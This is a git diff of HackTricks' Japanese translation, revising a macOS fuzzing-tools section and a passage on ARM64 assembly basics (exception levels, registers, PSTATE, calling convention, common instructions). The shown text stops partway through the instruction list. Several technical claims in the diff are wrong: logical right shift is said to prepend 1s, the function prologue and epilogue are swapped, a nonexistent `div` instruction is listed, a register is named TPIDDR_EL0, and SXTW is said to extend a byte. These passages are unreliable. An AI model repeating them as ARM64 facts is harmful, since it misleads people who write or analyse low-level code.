@@ -461,15 +461,15 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL ``` {% endcode %} -### ファジングツール +### ファジャー #### [AFL++](https://github.com/AFLplusplus/AFLplusplus) -CLIツールに対応 +CLI ツールに適しています #### [Litefuzz](https://github.com/sec-tools/litefuzz) -macOSのGUIツールに対して"**just works"**します。一部のmacOSアプリはユニークなファイル名、適切な拡張子、サンドボックスからファイルを読み取る必要があるなど、特定の要件を満たす必要があります。 +macOS の GUI ツールと "**just works"** します。一部の macOS アプリには、ユニークなファイル名、適切な拡張子、サンドボックスからファイルを読み取る必要があるなど、特定の要件があります (`~/Library/Containers/com.apple.Safari/Data`)... いくつかの例: @@ -513,10 +513,9 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) * [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/) - ### [WhiteIntel](https://whiteintel.io) -
+
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 @@ -528,14 +527,14 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: -* **HackTricksで会社を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで会社を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する。 +* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index a9b05b6b0..53b26d70f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -6,30 +6,31 @@ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。 +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローする。 + +- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 ## **例外レベル - EL(ARM64v8)** -ARMv8アーキテクチャでは、実行レベルである例外レベル(EL)が、実行環境の特権レベルと機能を定義します。EL0からEL3までの4つの例外レベルがあり、それぞれ異なる目的を果たしています: +ARMv8アーキテクチャでは、実行レベルである例外レベル(EL)が、実行環境の特権レベルと機能を定義します。EL0からEL3までの4つの例外レベルがあり、それぞれ異なる目的で使用されます: 1. **EL0 - ユーザーモード**: -* これは最も特権のないレベルであり、通常のアプリケーションコードの実行に使用されます。 -* EL0で実行されるアプリケーションは、お互いやシステムソフトウェアから分離されており、セキュリティと安定性が向上しています。 + - これは最も特権のないレベルであり、通常のアプリケーションコードの実行に使用されます。 + - EL0で実行されるアプリケーションは、お互いやシステムソフトウェアから分離されており、セキュリティと安定性が向上しています。 2. **EL1 - オペレーティングシステムカーネルモード**: -* ほとんどのオペレーティングシステムカーネルはこのレベルで実行されます。 -* EL1はEL0よりも特権があり、システムリソースにアクセスできますが、システムの整合性を確保するためにいくつかの制限があります。 + - ほとんどのオペレーティングシステムカーネルはこのレベルで実行されます。 + - EL1はEL0よりも特権があり、システムリソースにアクセスできますが、システムの整合性を確保するためにいくつかの制限があります。 3. **EL2 - ハイパーバイザーモード**: -* このレベルは仮想化に使用されます。EL2で実行されるハイパーバイザーは、同じ物理ハードウェア上で実行される複数のオペレーティングシステム(それぞれが独自のEL1で)を管理できます。 -* EL2には仮想化環境の分離と制御の機能が備わっています。 + - このレベルは仮想化に使用されます。EL2で実行されるハイパーバイザーは、同じ物理ハードウェア上で実行されている複数のオペレーティングシステム(それぞれが独自のEL1で)を管理できます。 + - EL2には仮想化環境の分離と制御の機能が備わっています。 4. **EL3 - セキュアモニターモード**: -* これは最も特権のあるレベルであり、セキュアブートや信頼された実行環境によく使用されます。 -* EL3はセキュア状態と非セキュア状態の間のアクセスを管理および制御できます(セキュアブート、信頼されたOSなど)。 + - これは最も特権のあるレベルであり、セキュアブートや信頼された実行環境によく使用されます。 + - EL3はセキュア状態と非セキュア状態の間のアクセスを管理および制御できます(セキュアブート、信頼されたOSなど)。 これらのレベルの使用により、ユーザーアプリケーションから最も特権のあるシステムソフトウェアまで、システムのさまざまな側面を構造化して安全に管理する方法が提供されます。ARMv8の特権レベルへのアプローチは、異なるシステムコンポーネントを効果的に分離することで、システムのセキュリティと堅牢性を向上させます。 @@ -38,22 +39,22 @@ ARMv8アーキテクチャでは、実行レベルである例外レベル(EL ARM64には**31個の汎用レジスタ**があり、`x0`から`x30`までラベル付けされています。それぞれが**64ビット**(8バイト)の値を格納できます。32ビットの値のみを必要とする操作の場合、同じレジスタには`w0`から`w30`という名前で32ビットモードでアクセスできます。 1. **`x0`** から **`x7`** - これらは通常、スクラッチレジスタとサブルーチンにパラメータを渡すために使用されます。 -* **`x0`** は関数の戻りデータも運びます + - **`x0`** は関数の戻りデータも保持します。 2. **`x8`** - Linuxカーネルでは、`x8`は`svc`命令のシステムコール番号として使用されます。**macOSではx16が使用されます!** -3. **`x9`** から **`x15`** - さらなる一時レジスタ、ローカル変数によく使用されます。 +3. **`x9`** から **`x15`** - さらなる一時レジスタであり、ローカル変数によく使用されます。 4. **`x16`** と **`x17`** - **手続き内呼び出しレジスタ**。即値のための一時レジスタ。間接関数呼び出しやPLT(手続きリンクテーブル)スタブにも使用されます。 -* **`x16`** は**macOS**で**`svc`**命令の**システムコール番号**として使用されます。 + - **`x16`** は**macOS**で**`svc`**命令の**システムコール番号**として使用されます。 5. **`x18`** - **プラットフォームレジスタ**。汎用レジスタとして使用できますが、一部のプラットフォームでは、このレジスタはプラットフォーム固有の用途に予約されています:Windowsの現在のスレッド環境ブロックへのポインタ、またはLinuxカーネルで現在の**実行中のタスク構造体を指すポインタ**。 6. **`x19`** から **`x28`** - これらは呼び出し元保存レジスタです。関数はこれらのレジスタの値を呼び出し元のために保存する必要があり、それらはスタックに保存され、呼び出し元に戻る前に回復されます。 -7. **`x29`** - スタックフレームを追跡するための**フレームポインタ**。関数が呼び出されると新しいスタックフレームが作成されるとき、**`x29`**レジスタは**スタックに保存**され、**新しい**フレームポインタアドレス(**`sp`**アドレス)が**このレジストリに保存**されます。 -* このレジスタは**一般目的レジストリ**としても使用できますが、通常は**ローカル変数**への参照として使用されます。 -8. **`x30`** または **`lr`**- **リンクレジスタ**。`BL`(リンク付きブランチ)または`BLR`(レジスタへのリンク付きブランチ)命令が実行されるときに**`pc`**の値をこのレジスタに格納することで**戻りアドレス**を保持します。 -* 他のレジスタと同様に使用できます。 -* 現在の関数が新しい関数を呼び出す予定であり、したがって`lr`を上書きする場合、最初にスタックに保存し、これがエピローグ(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`と`lr`を保存し、スペースを生成し、新しい`fp`を取得)で、最後に回復します。これはプロローグです(`ldp x29, x30, [sp], #48; ret` -> `fp`と`lr`を回復して戻る)。 +7. **`x29`** - スタックフレームを追跡するための**フレームポインタ**。関数が呼び出されると新しいスタックフレームが作成されるとき、**`x29`**レジスタは**スタックに保存**され、**新しい**フレームポインタアドレス(**`sp`**アドレス)が**このレジスタに保存**されます。 + - このレジスタは**一般目的レジスタ**としても使用できますが、通常は**ローカル変数**への参照として使用されます。 +8. **`x30`** または **`lr`** - **リンクレジスタ**。`BL`(リンク付きブランチ)または`BLR`(レジスタへのリンク付きブランチ)命令が実行されるときに**`pc`**の値をこのレジスタに格納することで**戻りアドレス**を保持します。 + - 他のレジスタと同様に使用できます。 + - 現在の関数が新しい関数を呼び出す予定であり、したがって`lr`を上書きする場合、最初にスタックに保存し、これがエピローグ(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`と`lr`を保存し、スペースを生成し、新しい`fp`を取得)で、最後に回復します。これがプロローグ(`ldp x29, x30, [sp], #48; ret` -> `fp`と`lr`を回復して戻る)です。 9. **`sp`** - **スタックポインタ**。スタックの先頭を追跡するために使用されます。 -* **`sp`**の値は常に少なくとも**クワッドワードのアライメント**に保たれる必要があり、それ以外の場合はアライメント例外が発生する可能性があります。 + - **`sp`**の値は常に**クアッドワード**の**アライメント**に保たれるべきであり、それ以外の場合はアライメント例外が発生する可能性があります。 10. **`pc`** - **プログラムカウンタ**。次の命令を指すレジスタ。このレジスタは例外生成、例外リターン、およびブランチを介してのみ更新できます。このレジスタを読み取ることができる通常の命令は、**`pc`**アドレスを**`lr`**(リンクレジスタ)に格納するためのリンク付きブランチ命令(BL、BLR)だけです。 -11. **`xzr`** - **ゼロレジスタ**。32ビットレジスタ形式では**`wzr`**とも呼ばれます。ゼロ値を簡単に取得するために使用できます(一般的な操作)または**`subs`**を使用して比較を行うために使用できます。**`xzr`**に結果データを保存しないでください(**`xzr`**に保存される)。 +11. **`xzr`** - **ゼロレジスタ**。32ビットレジスタ形式では**`wzr`**とも呼ばれます。ゼロ値を簡単に取得するために使用できます(一般的な操作)または**`subs`**を使用して比較を行うために使用できます。例:**`subs XZR, Xn, #10`**(結果のデータをどこにも保存しない)。 **`Wn`**レジスタは**`Xn`**レジスタの32ビットバージョンです。 @@ -65,7 +66,7 @@ ARM64には**31個の汎用レジスタ**があり、`x0`から`x30`までラベ **数百のシステムレジスタ**、または特殊用途レジスタ(SPR)は、**プロセッサ**の動作を**監視**および**制御**するために使用されます。\ これらは、専用の特殊命令 **`mrs`** と **`msr`** を使用してのみ読み取りまたは設定できます。 -特殊レジスタ **`TPIDR_EL0`** と **`TPIDDR_EL0`** は、リバースエンジニアリング時に一般的に見られます。`EL0` 接尾辞は、レジスタにアクセスできる**最小例外**を示します(この場合、EL0は通常の例外(特権)レベルで通常のプログラムが実行されます)。\ +特殊レジスタ **`TPIDR_EL0`** と **`TPIDDR_EL0`** は、リバースエンジニアリング時に一般的に見られます。`EL0` 接尾辞は、レジスタにアクセスできる**最小例外**を示します(この場合、EL0は通常の例外(特権)レベルで一般プログラムが実行されます)。\ これらは通常、メモリの**スレッドローカルストレージ**領域の**ベースアドレス**を格納するために使用されます。通常、最初のものはEL0で実行されるプログラムに対して読み書き可能ですが、2番目はEL0から読み取り、カーネルから書き込むことができます。 * `mrs x0, TPIDR_EL0 ; TPIDR_EL0 を x0 に読み込む` @@ -74,35 +75,35 @@ ARM64には**31個の汎用レジスタ**があり、`x0`から`x30`までラベ ### **PSTATE** **PSTATE** には、オペレーティングシステムでシリアル化されたいくつかのプロセスコンポーネントが含まれており、**`SPSR_ELx`** 特殊レジスタに格納されます。ここで、X はトリガーされた例外の**権限** **レベル**を示します(これにより、例外が終了したときにプロセスの状態を回復できます)。\ -これらはアクセス可能なフィールドです: +これらはアクセス可能なフィールドです: -
+
-* **`N`**、**`Z`**、**`C`**、**`V`** 条件フラグ: +* **`N`**、**`Z`**、**`C`**、**`V`** 条件フラグ: * **`N`** は操作が負の結果を生じたことを意味します * **`Z`** は操作がゼロを生じたことを意味します -* **`C`** は操作が実行されたことを意味します -* **`V`** は操作が符号オーバーフローを生じたことを意味します: +* **`C`** は操作がキャリーしたことを意味します +* **`V`** は操作が符号オーバーフローを生じたことを意味します: * 2つの正の数の合計は負の結果を生じます。 * 2つの負の数の合計は正の結果を生じます。 * 減算では、大きな負の数が小さな正の数から減算される場合(またはその逆)、結果が与えられたビットサイズの範囲内に表現できない場合。 -* 明らかに、プロセッサは操作が符号付きかどうかを知らないため、符号付きかどうかをチェックし、符号付きまたは符号なしの場合に発生した場合にキャリーが発生したかどうかを示します。 +* 明らかに、プロセッサは操作が符号付きかどうかを知らないため、符号が付いているかどうかをチェックし、符号が付いている場合にキャリーが発生したかどうかを示します。 {% hint style="warning" %} すべての命令がこれらのフラグを更新するわけではありません。**`CMP`** や **`TST`** のような一部の命令は、および **`ADDS`** のような s 接尾辞を持つ他の命令もそれを行います。 {% endhint %} -* 現在の**レジスタ幅 (`nRW`)** フラグ:フラグが値 0 を保持している場合、プログラムは再開後に AArch64 実行状態で実行されます。 -* 現在の**例外レベル** (**`EL`**):EL0 で実行される通常のプログラムは値 0 を持ちます -* **シングルステップ** フラグ (**`SS`**):デバッガが SS フラグを **`SPSR_ELx`** で 1 に設定してシングルステップを行うために使用します。プログラムはステップを実行し、シングルステップ例外を発行します。 -* **不正例外** 状態フラグ (**`IL`**):特権ソフトウェアが無効な例外レベル転送を実行するときにマークされ、このフラグが 1 に設定され、プロセッサは不正な状態例外をトリガーします。 -* **`DAIF`** フラグ:これらのフラグを使用すると、特権プログラムは特定の外部例外を選択的にマスクできます。 -* **`A`** が 1 の場合、**非同期中断** がトリガーされます。**`I`** は外部ハードウェア **割り込みリクエスト**(IRQ)に応答するように構成され、F は **ファスト割り込みリクエスト**(FIR)に関連しています。 -* **スタックポインタ選択** フラグ (**`SPS`**):EL1 およびそれ以上で実行される特権プログラムは、自分自身のスタックポインタレジスタとユーザーモデルのレジスタ(たとえば `SP_EL1` と `EL0` の間)を切り替えることができます。この切り替えは、**`SPSel`** 特殊レジスタに書き込むことによって実行されます。これは EL0 からは行えません。 +* 現在の**レジスタ幅 (`nRW`)** フラグ: フラグが値 0 を保持している場合、プログラムは再開後に AArch64 実行状態で実行されます。 +* 現在の**例外レベル** (**`EL`**): EL0 で実行される通常のプログラムは値 0 を持ちます +* **シングルステップ** フラグ (**`SS`**): デバッガが SS フラグを **`SPSR_ELx`** で 1 に設定してシングルステップ例外を発生させることで、ステップごとに単一ステップ例外を発行します。 +* **不正例外** 状態フラグ (**`IL`**): 特権ソフトウェアが無効な例外レベル転送を実行するときにマークされ、このフラグが 1 に設定され、プロセッサが不正な状態例外をトリガーします。 +* **`DAIF`** フラグ: これらのフラグにより、特権プログラムは特定の外部例外を選択的にマスクできます。 +* **`A`** が 1 の場合、**非同期中断** がトリガーされます。**`I`** は外部ハードウェア **割り込みリクエスト**(IRQs)に応答するように構成され、F は **Fast Interrupt Requests**(FIRs)に関連しています。 +* **スタックポインタ選択** フラグ (**`SPS`**): EL1 およびそれ以上で実行される特権プログラムは、自分自身のスタックポインタレジスタとユーザーモデルのレジスタ(たとえば `SP_EL1` と `EL0` の間)を切り替えることができます。この切り替えは、**`SPSel`** 特殊レジスタに書き込むことによって実行されます。これは EL0 からは行えません。 ## **呼び出し規約(ARM64v8)** -ARM64 呼び出し規約では、関数への最初の 8 つのパラメータは、**`x0` から `x7`** のレジスタに渡されます。**追加**のパラメータは**スタック**に渡されます。**戻り**値は、レジスタ **`x0`** に戻されるか、128 ビットの場合は **`x1`** にも戻されます。**`x19`** から **`x30`** および **`sp`** レジスタは、関数呼び出しを超えて**保存**される必要があります。 +ARM64 呼び出し規約では、関数への最初の 8 つのパラメータはレジスタ **`x0` から `x7`** に渡されます。**追加**のパラメータは**スタック**に渡されます。**戻り**値はレジスタ **`x0`** に返されるか、**128 ビットの場合は** **`x1`** にも返されます。**`x19`** から **`x30`** および **`sp`** レジスタは、関数呼び出しを超えて**保存**される必要があります。 アセンブリで関数を読む際には、**関数のプロローグとエピローグ**を探します。**プロローグ**は通常、**フレームポインタ (`x29`)** を**保存**し、**新しいフレームポインタ**を**設定**し、**スタックスペースを割り当て**することを含みます。**エピローグ**は通常、**保存されたフレームポインタを復元**し、関数から**戻る**ことを含みます。 @@ -112,29 +113,29 @@ Swift には独自の**呼び出し規約**があり、[**https://github.com/app ## **一般的な命令(ARM64v8)** -ARM64 命令は一般的に、`opcode dst, src1, src2` の形式を持ち、**`opcode`** は実行する**操作**(`add`、`sub`、`mov` など)を、**`dst`** は結果が格納される**宛先**レジスタを、**`src1`** および **`src2`** は**ソース**レジスタを示します。ソースレジスタの代わりに即値を使用することもできます。 +ARM64 命令は一般的に、`opcode dst, src1, src2` の形式を持ち、**`opcode`** は実行される**操作**(`add`、`sub`、`mov` など)を、**`dst`** は結果が格納される**宛先**レジスタを、**`src1`** および **`src2`** は**ソース**レジスタを示します。ソースレジスタの代わりに即値を使用することもできます。 * **`mov`**: 1 つの**レジスタ**から別の**レジスタ**に値を**移動**します。 * 例: `mov x0, x1` — これは `x1` から `x0` に値を移動します。 * **`ldr`**: **メモリ**から**値**を**レジスタ**に**ロード**します。 * 例: `ldr x0, [x1]` — これは `x1` が指すメモリ位置から `x0` に値をロードします。 -* **オフセットモード**: オリンポインタに影響を与えるオフセットが示されます。例: -* `ldr x2, [x1, #8]` これは x1 + 8 の値を x2 にロードします -* `ldr x2, [x0, x1, lsl #2]` これは x0 の配列から、位置 x1(インデックス)\* 4 のオブジェクトを x2 にロードします -* **プリインデックスモード**: これは計算をオリジンに適用し、結果を取得して新しいオリジンをオリジンに格納します。 -* `ldr x2, [x1, #8]!` これは `x1 + 8` を `x2` にロードし、`x1 + 8` の結果を `x1` に格納します -* `str lr, [sp, #-4]!`、リンクレジスタを sp に格納し、レジスタ sp を更新します +* **オフセットモード**: オリンポインタに影響を与えるオフセットが示されます。たとえば: +* `ldr x2, [x1, #8]` は、x1 + 8 の値を x2 にロードします +* `ldr x2, [x0, x1, lsl #2]` は、x0 の配列から、位置 x1(インデックス) \* 4 のオブジェクトを x2 にロードします +* **プリインデックスモード**: これは、計算をオリジンに適用し、結果を取得して新しいオリジンをオリジンに格納します。 +* `ldr x2, [x1, #8]!` は、`x1 + 8` を `x2` にロードし、`x1 + 8` の結果を `x1` に格納します +* `str lr, [sp, #-4]!` は、リンクレジスタを sp に格納し、レジスタ sp を更新します * **ポストインデックスモード**: これは前のモードと同様ですが、メモリアドレスにアクセスしてからオフセットを計算して格納します。 -* `ldr x0, [x1], #8`、`x1` を `x0` にロードし、`x1 + 8` で x1 を更新します +* `ldr x0, [x1], #8` は、`x1` を `x0` にロードし、`x1 + 8` で x1 を更新します * **PC相対アドレッシング**: この場合、ロードするアドレスは PC レジスタに対して相対的に計算されます -* `ldr x1, =_start`、これは `_start` シンボルが開始するアドレスを、現在の PC に関連して x1 にロードします。 +* `ldr x1, =_start` は、`_start` シンボルが開始するアドレスを、現在の PC に関連して x1 にロードします。 * **`str`**: **メモリ**にある**レジスタ**から**値**を**格納**します。 * 例: `str x0, [x1]` — これは `x0` の値を `x1` が指すメモリ位置に格納します。 -* **`ldp`**: **2 つのレジスタ**を**連続するメモリ**から**ロード**します。メモリアドレスは通常、別のレジスタの値にオフセットを追加して形成されます。 -* 例: `ldp x0, x1, [x2]` — これは `x2` と `x2 + 8` のメモリ位置から `x0` と `x1` をロードします。 -* **`stp`**: **2 つのレジスタ**を**連続するメモリ**に**格納**します。メモリアドレスは通常、別のレジスタの値にオフセットを追加して形成されます。 -* 例: `stp x0, x1, [sp]` — これは `sp` と `sp + 8` のメモリ位置に `x0` と `x1` を格納します。 -* `stp x0, x1, [sp, #16]!` — これは `sp+16` と `sp + 24` のメモリ位置に `x0` と `x1` を格納し、`sp` を `sp+16` に更新します。 +* **`ldp`**: **2 つのレジスタ**を**連続するメモリ**位置から**ロード**します。メモリアドレスは通常、別のレジスタの値にオフセットを追加して形成されます。 +* 例: `ldp x0, x1, [x2]` は、それぞれ `x2` と `x2 + 8` のメモリ位置から `x0` と `x1` をロードします。 +* **`stp`**: **2 つのレジスタ**を**連続するメモリ**位置に**格納**します。メモリアドレスは通常、別のレジスタの値にオフセットを追加して形成されます。 +* 例: `stp x0, x1, [sp]` は、それぞれ `sp` と `sp + 8` のメモリ位置に `x0` と `x1` を格納します。 +* `stp x0, x1, [sp, #16]!` は、それぞれ `sp+16` と `sp + 24` のメモリ位置に `x0` と `x1` を格納し、`sp` を `sp+16` に更新します。 * **`add`**: 2 つのレジスタの値を加算し、結果をレジスタに格納します。 * 構文: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX\] * Xn1 -> 宛先 @@ -147,15 +148,15 @@ ARM64 命令は一般的に、`opcode dst, src1, src2` の形式を持ち、**`o * **`sub`**: 2つのレジスタの値を引き算し、結果をレジスタに格納します。 * **`add`** **構文**を確認してください。 * 例: `sub x0, x1, x2` — これは`x1`から`x2`の値を引き、結果を`x0`に格納します。 -* **`subs`** これは`sub`と同様ですが、フラグを更新します +* **`subs`** これはsubと同じですが、フラグを更新します * **`mul`**: 2つのレジスタの値を掛け算し、結果をレジスタに格納します。 * 例: `mul x0, x1, x2` — これは`x1`と`x2`の値を掛け算し、結果を`x0`に格納します。 * **`div`**: 1つのレジスタの値をもう1つで割り、結果をレジスタに格納します。 * 例: `div x0, x1, x2` — これは`x1`を`x2`で割り、結果を`x0`に格納します。 * **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: * **論理左シフト**: 末尾に0を追加し、他のビットを前に移動します(n回2倍) -* **論理右シフト**: 先頭に1を追加し、他のビットを後ろに移動します(符号なしの場合はn回2で割る) -* **算術右シフト**: **`lsr`**と同様ですが、最上位ビットが1の場合は1を追加します(符号付きの場合はn回2で割る) +* **論理右シフト**: 先頭に1を追加し、他のビットを後ろに移動します(符号なしでn回2で割る) +* **算術右シフト**: **`lsr`**と同様ですが、最上位ビットが1の場合、1を追加します(符号付きでn回2で割る) * **右に回転**: **`lsr`**と同様ですが、右から削除されたものは左に追加されます * **拡張付き右回転**: **`ror`**と同様ですが、キャリーフラグが「最上位ビット」として使用されます。つまり、キャリーフラグがビット31に移動し、削除されたビットがキャリーフラグに配置されます。 * **`bfm`**: **ビットフィールドムーブ**、これらの操作は値からビット`0...n`をコピーし、それらを位置`m..m+n`に配置します。**`#s`**は**左端のビット**位置を指定し、**`#r`**は**右に回転する量**を指定します。 @@ -166,49 +167,49 @@ ARM64 命令は一般的に、`opcode dst, src1, src2` の形式を持ち、**`o * **`BFI X1, X2, #3, #4`** X2からX1の3番目のビットに4ビットを挿入します * **`BFXIL X1, X2, #3, #4`** X2の3番目のビットから4ビットを抽出し、それらをX1にコピーします * **`SBFIZ X1, X2, #3, #4`** X2から4ビットを符号拡張し、X1の3ビット目から挿入し、右側のビットをゼロにします -* **`SBFX X1, X2, #3, #4`** X2から3ビット目から始まる4ビットを抽出し、符号拡張し、結果をX1に配置します +* **`SBFX X1, X2, #3, #4`** X2から3ビット目から4ビットを抽出し、符号拡張し、結果をX1に配置します * **`UBFIZ X1, X2, #3, #4`** X2から4ビットをゼロ拡張し、X1の3ビット目から挿入し、右側のビットをゼロにします -* **`UBFX X1, X2, #3, #4`** X2から3ビット目から始まる4ビットを抽出し、ゼロ拡張された結果をX1に配置します。 -* **Xに符号拡張**: 値の符号を拡張します(符号なしバージョンでは0を追加します): +* **`UBFX X1, X2, #3, #4`** X2から3ビット目から4ビットを抽出し、ゼロ拡張された結果をX1に配置します。 +* **Xに符号拡張**: 値の符号を拡張します(または符号なしバージョンでは単に0を追加します): * **`SXTB X1, W2`** バイトの符号を拡張します **W2からX1** (`W2`は`X2`の半分) 64ビットを埋めるため * **`SXTH X1, W2`** 16ビット数の符号を拡張します **W2からX1** 64ビットを埋めるため * **`SXTW X1, W2`** バイトの符号を拡張します **W2からX1** 64ビットを埋めるため * **`UXTB X1, W2`** バイトに0を追加します(符号なし) **W2からX1** 64ビットを埋めるため -* **`extr`:** 指定された**連結されたレジスタのビット**を抽出します。 -* 例: `EXTR W3, W2, W1, #3` これは**W1+W2**を連結し、**W2のビット3からW1のビット3**までを取得してW3に格納します。 -* **`cmp`**: 2つのレジスタを比較し、条件フラグを設定します。これは`subs`のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n`かどうかを知るのに便利です。 -* **`subs`**と同じ構文をサポートします +* **`extr`:** 指定された**連結されたレジスタのペア**からビットを抽出します。 +* 例: `EXTR W3, W2, W1, #3` これは**W1+W2**を連結し、**W2のビット3からW1のビット3まで**を取得してW3に格納します。 +* **`cmp`**: 2つのレジスタを比較し、条件フラグを設定します。これは、`subs`のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n`かどうかを知るのに便利です。 +* **`subs`**と同じ構文をサポートしています * 例: `cmp x0, x1` — これは`x0`と`x1`の値を比較し、条件フラグを適切に設定します。 -* **`cmn`**: **負の比較**オペランド。この場合、`adds`のエイリアスであり、同じ構文をサポートします。`m == -n`かどうかを知るのに便利です。 +* **`cmn`**: **負の比較**オペランド。この場合、`adds`のエイリアスで、同じ構文をサポートします。`m == -n`かどうかを知るのに便利です。 * **`ccmp`**: 条件付き比較、前の比較が真の場合にのみ実行され、特定のnzcvビットを設定します。 * `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2かつx3 < x4の場合、funcにジャンプします -* これは**前の`cmp`が`NE`だった場合にのみ`ccmp`が実行**されるためです。そうでない場合、ビット`nzcv`は0に設定されます(`blt`比較を満たしません)。 +* これは**前の`cmp`が`NE`だった場合にのみ`ccmp`が実行**されるためであり、そうでない場合はビット`nzcv`が0に設定されます(これは`blt`の比較を満たしません)。 * これは`ccmn`としても使用できます(`cmp`と`cmn`のように)。 -* **`tst`**: 比較の値のいずれかが1であるかどうかをチェックします(結果をどこにも保存せずにANDSのように機能します)。値で指定されたレジスタのビットのいずれかが1かどうかをチェックするのに便利です。 -* 例: `tst X1, #7` X1の最後の3ビットのいずれかが1かどうかをチェックします +* **`tst`**: 比較の値のいずれかが1であるかどうかをチェックします(結果をどこにも保存せずにANDSのように機能します)。指定された値のレジスタをチェックし、その値で指定されたレジスタのビットのいずれかが1であるかどうかを確認するのに便利です。 +* 例: `tst X1, #7` X1の最後の3ビットのいずれかが1であるかどうかをチェックします * **`teq`**: 結果を破棄するXOR演算 * **`b`**: 無条件分岐 -* 例: `b myFunction` -* これはリンクレジスタに戻りアドレスを格納しません(戻る必要のあるサブルーチン呼び出しには適していません) -* **`bl`**: リンク付きブランチ、**サブルーチンを呼び出す**ために使用されます。戻りアドレスを`x30`に格納します。 +* 例: `b myFunction` +* これはリンクレジスタを戻りアドレスで埋めないことに注意してください(戻る必要があるサブルーチン呼び出しには適していません) +* **`bl`**: リンク付き分岐、**サブルーチンを呼び出す**ために使用されます。**`x30`に戻りアドレスを格納**します。 * 例: `bl myFunction` — これは`myFunction`関数を呼び出し、戻りアドレスを`x30`に格納します。 -* これはリンクレジスタに戻りアドレスを格納しません(戻る必要のあるサブルーチン呼び出しには適していません) -* **`blr`**: レジスタに指定された**ターゲット**を持つ**サブルーチン**を**呼び出す**ために使用されるリンク付きブランチ。戻りアドレスを`x30`に格納します。 (これは +* これはリンクレジスタを戻りアドレスで埋めないことに注意してください(戻る必要があるサブルーチン呼び出しには適していません) +* **`blr`**: レジスタで指定された**ターゲット**を使用して**サブルーチンを呼び出す**ために使用されるリンク付き分岐。戻りアドレスを`x30`に格納します。 (これは * 例: `blr x1` — これは`x1`に含まれるアドレスの関数を呼び出し、戻りアドレスを`x30`に格納します。 -* **`ret`**: **サブルーチン**から**戻る**、通常は**`x30`**のアドレスを使用します。 -* 例: `ret` — これは`x30`に格納された戻りアドレスを使用して現在のサブルーチンから戻ります。 +* **`ret`**: **サブルーチンから戻る**、通常は**`x30`**のアドレスを使用します。 +* 例: `ret` — これは`x30`の戻りアドレスを使用して現在のサブルーチンから戻ります。 * **`b.`**: 